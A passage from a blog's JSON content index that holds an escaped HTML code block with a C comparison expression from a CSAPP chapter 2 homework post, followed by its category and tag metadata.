class=\"keyword\">return</span> ((sx<sy) && ux!=<span class=\"number\">0</span> && uy!=<span class=\"number\">0x80000000</span>) | (sx==sy) & !!(ux-uy);</span><br></pre></td></tr></table></figure>\n","slug":"CSAPP3e-第二章作业","categories":[{"name":"CSAPP","slug":"CSAPP","permalink":"https://h-zex.github.io/categories/CSAPP/"}],"tags":[{"name":"CSAPP Homework","slug":"CSAPP-Homework","permalink":"https://h-zex.github.io/tags/CSAPP-Homework/"}]}]}